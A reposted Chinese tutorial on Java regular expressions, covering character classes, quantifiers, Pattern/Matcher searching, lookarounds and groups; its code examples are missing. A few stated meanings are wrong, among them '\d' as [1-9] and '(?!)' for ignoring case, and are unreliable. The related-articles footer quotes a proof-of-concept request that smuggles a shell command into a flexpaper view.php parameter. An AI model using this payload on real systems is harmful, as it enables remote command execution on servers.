正则表达式.java

目录

 

1.1 正则表达式的概念及演示

正则表达式的作用: 

 1.2 正则表达式-字符类

1.3 正则表达式-逻辑运算符

1.4 正则表达式-预定义字符

1.5 正则表达式-数量词 

1.6 正则表达式练习1

 1.7 正则表达式练习2

小结 :

①可以校验字符串是否满足一定的规则,并用来校验数据格式的合法性🧸 

​编辑

②在一段文本中查找满足要求的内容🧸

 按要求爬取:

有条件爬取:

贪婪爬取和非贪婪爬取:

③按照正则表达式的内容,对字符串进行替换🧸

④按照正则表达式的内容,对字符串进行切割 🧸

 ⑤捕获分组和非捕获分组


1.1 正则表达式的概念及演示

  • 正则表达式是由一些具有特殊含义的字符组成的字符串,多用于查找、替换、切割符合规则的字符串。在表单验证、Url映射等处都会经常用到。
  • 在Java中,我们经常需要验证一些字符串,例如:年龄必须是2位的数字、用户名必须是8位长度而且只能包含大小写字母、数字等。正则表达式就是用来验证各种字符串的规则。它内部描述了一些规则,我们可以验证用户输入的字符串是否匹配这个规则。
  • 先看一个不使用正则表达式验证的例子:下面的程序让用户输入一个QQ号码,我们要验证:
    • QQ号码必须是5–15位长度
    • 而且必须全部是数字
    • 而且首位不能为0

  假如现在要求校验一个qq号码是否正确。
            规则:6位及20位之内,日不能在开头,必须全部是数字。
            先使用目前所学知识完成校验需求然后体验一下正则表达式检验。

  • 使用正则表达式验证:

我们接下来就重点学习怎样写正则表达式

 1.2 正则表达式-字符类

  • 语法示例:
  1. [abc]:代表a或者b,或者c字符中的一个。
  2. [^abc]:代表除a,b,c以外的任何字符。
  3. [a-z]:代表a-z的所有小写字符中的一个。
  4. [A-Z]:代表A-Z的所有大写字符中的一个。
  5. [0-9]:代表0-9之间的某一个数字字符。
  6. [a-zA-Z0-9]:代表a-z或者A-Z或者0-9之间的任意一个字符。
  7. [a-dm-p]:a 到 d 或 m 到 p之间的任意一个字符。

注:一个[]只能匹配一个字符 

  • 代码示例:

1.3 正则表达式-逻辑运算符

  • 语法示例:
    1. &&:并且,交集
    2. | :或者,并集
    3. \ :转义字符

 

1.4 正则表达式-预定义字符

  1. "." : 匹配任何字符。
  2. "\d":任何数字[0-9]的简写;
  3. "\D":任何非数字[^0-9]的简写;
  4. "\s": 空白字符:[ \t\n\x0B\f\r] 的简写
  5. "\S": 非空白字符:[^\s] 的简写
  6. "\w":单词字符:[a-zA-Z_0-9]的简写
  7. "\W":非单词字符:[^\w]

1.5 正则表达式-数量词 

  • 语法示例:
    1. X? : 0次或1次
    2. X* : 0次到多次
    3. X+ : 1次或多次
    4. X{n} : 恰好n次
    5. X{n,} : 至少n次
    6. X{n,m}: n到m次(n和m都是包含的)

1.6 正则表达式练习1

 需求
            请编写正则表达式验证用户输入的手机号码,邮箱号,电话号码是否满足要求。

 1.7 正则表达式练习2

结果: 

小结 :

正则表达式的作用: 

①可以校验字符串是否满足一定的规则,并用来校验数据格式的合法性🧸 

②在一段文本中查找满足要求的内容🧸

③按照正则表达式的内容,对字符串进行替换🧸

④按照正则表达式的内容,对字符串进行切割 🧸

 ⑤捕获分组和非捕获分组

①可以校验字符串是否满足一定的规则,并用来校验数据格式的合法性🧸 

🧩[]:只能是括号里的字符

🧩[^]:除了括号里的字符

🧩[- -]:表示两段范围,满足其一即可

🧩[[]]:或者的意思,满足其一即可

🧩.  :表示任何字符

🧩\d:一个数字:[1-9]

🧩\D:非数字:[^0-9]

🧩\s:一个空白字符:[\t\n\x0B\f\r]

🧩\S:非空白字符

🧩\w:英文,数字,下划线

🧩\W:一个非单词字符:[^\w]

  • 验证时间

  • 忽略大小写(?!)

🐳🐳🐳🐳🐳🐳🐳🐳🐳🐳🐳🐳🐳🐳

②在一段文本中查找满足要求的内容🧸

步骤: 

📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝📝

  1. 定义正则表达式:regex
  2. 获取正则表达式的对象:Pattern类
  3. 获取文本匹配器对象:Matcher类,就是Pattern的对象调用matcher方法,把文本传递过去
  4. find() 方法查找文本里面满足规则的子串,并记录索引
  5. group()方法根据find()里记录的索引截取文本
 按要求爬取:

 🥇🥇🥇结果

有条件爬取:

文本:

"Java啦啦" +"哈Java17太阳当空照Java10花儿对我笑Java2小鸟说早早早"

  • (?i)表示忽略Java的大小写
  • ?理解为前面的数据Java
  • =表示后面紧随的数据是是什么
  • 但是在获取的时候,只获取前半部分

 

  • :表示后面紧随的数据是什么
  • 但是在获取的时候,获取全部

  • !表示后面不能紧随的数据是是什么

结果:Java

贪婪爬取和非贪婪爬取:
  • 🪅+和*:贪婪匹配,就是爬取数据的时候,尽可能多的获取数据
  • 🪅+?和*?:非贪婪匹配,就是爬取数据的是时候,尽可能少的获取数据

需求1:

 需求2: 

③按照正则表达式的内容,对字符串进行替换🧸

public String replaceAll(String regex,String newStr);

细节:

方法在底层跟之前一样,也会创建文本解析器的对象

然后从头开始读取字符串中的内容,要是有满足的,就用第二个字符串去替换

④按照正则表达式的内容,对字符串进行切割 🧸

public String[ ] split(String regex); 

 ⑤捕获分组和非捕获分组

 捕获分组:

  • 每个分组用括号()表示
  • 后续还要继续用到本组数据
  • 从左到右,左括号的顺序就是组号
  • 正则内部使用:\\组号
  • 正则外部使用:$组号

 

非捕获分组:

分组之后不需要再用到本组数据,仅仅是把数据括起来。如果使用组号就会报错

符号含义举例
(?:正则)获取所有Java(?:8|11|17)
(?=正则)获取前面部分Java(?=8|11|17)
(?!正则)获取不是指定内容的部分Java(?!8|11|17)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830905.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

免费通配符证书的申请指南——从申请到启动https

如果您的网站拥有众多二级子域名,那么通配符证书证书是最好的选择。 免费通配符申请流程如下: 1 创建证书服务商账号 首先选择一个提供免费通配符的服务商,打开国产服务商JoySSL官网,创建一个账号(注册账号时填写注册…

Android创建快捷方式到桌面

效果图 参考 https://blog.51cto.com/u_16175498/8811197https://blog.51cto.com/u_16175498/8811197 权限 <uses-permission android:name"com.android.launcher.permission.INSTALL_SHORTCUT" /> 实现 if (Build.VERSION.SDK_INT > Build.VERSION_C…

GPG的使用

这里写自定义目录标题 安装加密程序生成加密密钥怎么备份自己的密钥就可以使用公钥加密邮件信息了 安装加密程序 下载gpg4win&#xff1a; https://www.gpg4win.org/index.html 免费的&#xff0c;如果使用的是苹果电脑&#xff0c;使用https://gpgtools.org/。 如果是linux&a…

Python 与 TensorFlow2 生成式 AI(四)

原文&#xff1a;zh.annas-archive.org/md5/d06d282ea0d9c23c57f0ce31225acf76 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 第九章&#xff1a;文本生成方法的崛起 在前几章中&#xff0c;我们讨论了不同的方法和技术来开发和训练生成模型。特别是在第六章“使用 …

vue3 依赖-组件tablepage-vue3 项目公共配置封装

github求⭐ 可通过github 地址和npm 地址查看全部内容 vue3 依赖-组件tablepage-vue3说明文档&#xff0c;列表页快速开发&#xff0c;使用思路及范例-汇总 vue3 依赖-组件tablepage-vue3说明文档&#xff0c;列表页快速开发&#xff0c;使用思路及范例&#xff08;Ⅰ&#…

【C++】匿名对象超详细详解(什么是匿名对象?对象可以是哪些类型呢?)

目录 一、前言 二、匿名对象的概念详解 &#x1f95d; 语法结构 &#x1f34d;概念理解 三、匿名对象的对象类型 四、匿名对象的使用 &#x1f347;简单场景的使用 &#x1f349;复杂场景的使用 五、总结 六、共勉 一、前言 在C中&#xff0c;匿名对象&#xff08;Ano…

一文解决ArcGIS生成点和管段 含案例讲解

背景 在工作中&#xff0c;我们经常遇到要将坐标数据导入 GIS&#xff0c;生成点位&#xff0c;若是地理坐标系&#xff08;经纬度&#xff09;&#xff0c;那么直接用 arcgis或者QGIS 导入数据就行了&#xff0c;可实际中总会遇到各种问题&#xff1a; 坐标数据集为大地 200…

如何使用Go语言进行基准测试(benchmark)?

文章目录 一、基准测试的基本概念二、编写基准测试函数三、运行基准测试四、优化代码性能五、注意事项总结 在Go语言中&#xff0c;基准测试&#xff08;benchmark&#xff09;是一种评估代码性能的有效方式。通过基准测试&#xff0c;我们可以测量代码执行的时间、内存使用情况…

【Linux】详解core dump文件的作用以及用法ubuntu20.04下无法形成core dump文件的解决办法

说明 从第三大点开始讲解ubuntu20.04下无法形成core dump文件的解决办法。 一、core与term的区别 在之前讲过的信号中&#xff0c;终止进程的信号的动作分为两种&#xff0c;一种是core&#xff0c;一种是term。term&#xff08;全称termination&#xff09;是直接终止进程&am…

C++ string类

目录 0.前言 1.为什么学习string类 1.1 C语言字符串的局限性 1.2 C string类的优势 2.标准库中的string类 2.1 字符串作为字符序列的类 2.2 接口与标准容器类似 2.3 基于模板的设计 2.4 编码和字符处理 3.string类的常用接口说明 3.1构造函数 3.1.1默认构造函数 3…

GPU 架构与 CUDA 关系 并行计算平台和编程模型 CUDA 线程层次结构 GPU 的算力是如何计算的 算力峰值

GPU 架构与 CUDA 关系 本文主要包含 NVIDIA GPU 硬件的基础概念、CUDA(Compute Unified Device Architecture)并行计算平台和编程模型,详细讲解 CUDA 线程层次结构,最后将讲解 GPU 的算力是如何计算的,这将有助于计算大模型的算力峰值和算力利用率。 GPU 硬件基础概念GP…

Django后台项目开发实战二

我们的需求是开发职位管理系统 三个功能&#xff1a; 管理员发布职位候选人能浏览职位用户能投递职位 第二阶段 创建应用 jobs&#xff0c;实现职位数据的建模 python manage.py startapp jobs 然后再 setting .py 注册应用&#xff0c;只需添加应用名称到最后一行 INST…

实验报告5-Spring MVC实现页面

实验报告5-SpringMVC实现页面 一、需求分析 使用Spring MVC框架&#xff0c;从视图、控制器和模型三方面实验动态页面。模拟实现用户登录&#xff0c;模拟的用户名密码以模型属性方式存放在Spring容器中&#xff0c;控制器相应用户请求并映射参数&#xff0c;页面收集用户数据或…

Vue入门到关门之Vue介绍与使用

一、vue框架介绍 1、什么是Vue&#xff1f; Vue (读音 /vjuː/&#xff0c;类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是&#xff0c;Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层&#xff0c;不仅易于上手&#xff0c;还便于与…

【图论】图论基础

图论不同地方讲的不太一样&#xff0c;本文仅限作者的理解 定义 图一般由点集 V V V 和边集 E E E 组成。 对于 v ∈ V v\in V v∈V&#xff0c;称 v v v 为该图的一个节点。 对于 e ∈ E e\in E e∈E&#xff0c;一般用二元组 ( u , v ) (u,v) (u,v) 表示 e e e&…

短视频素材有哪些方法获得?推荐8个短视频素材免费资源

在这个视觉内容至关重要的时代&#xff0c;拥有高质量视频素材对于任何视频创作者来说都是必不可少的。视频素材不仅可以增强叙事的深度&#xff0c;还能显著提升观众的参与度。为了帮助你找到理想的视频素材&#xff0c;以下是全球范围内提供顶级视频素材的网站列表&#xff0…

基于FPGA的数字信号处理(5)--Signed的本质和作用

前言 Verilog中的signed是一个很多人用不好&#xff0c;或者说不太愿意用的一个语法。因为不熟悉它的机制&#xff0c;所以经常会导致运算结果莫名奇妙地出错。其实了解了signed以后&#xff0c;很多时候用起来还是挺方便的。 signed的使用方法主要有两种&#xff0c;其中一种…

笔记-用Python脚本启停JAR程序

用Python脚本启停JAR程序&#xff0c;需要用到python中的以下内置模块 subprocess 是 Python 的一个标准库模块&#xff0c;用于在新进程中执行子命令&#xff0c;获取子进程的输入/输出/错误以及返回码等os 是 Python 的一个标准库模块&#xff0c;它提供了与操作系统交互的功…

金融案例:统一查询方案助力数据治理与分析应用更高效、更安全

随着企业数据规模的增长和业务多元化发展&#xff0c;海量数据实时、多维地灵活查询变成业务常见诉求。同时多套数据库系统成为常态&#xff0c;这既带来了数据管理的复杂性&#xff0c;又加大了数据使用的难度&#xff0c;面对日益复杂的数据环境和严格的数据安全要求&#xf…

flexpaper 远程命令执行

flexpaper 远程命令执行 这个是有POC的&#xff0c;先简单复现一下 GET /ipg/static/appr/lib/flexpaper/php/view.php?doc1.docx"%26echoshell>shel233l.txt%23&pageexp&formatswf&callbackcallback&isSplittrue HTTP/1.1 Host: 192.168.50.22 Use…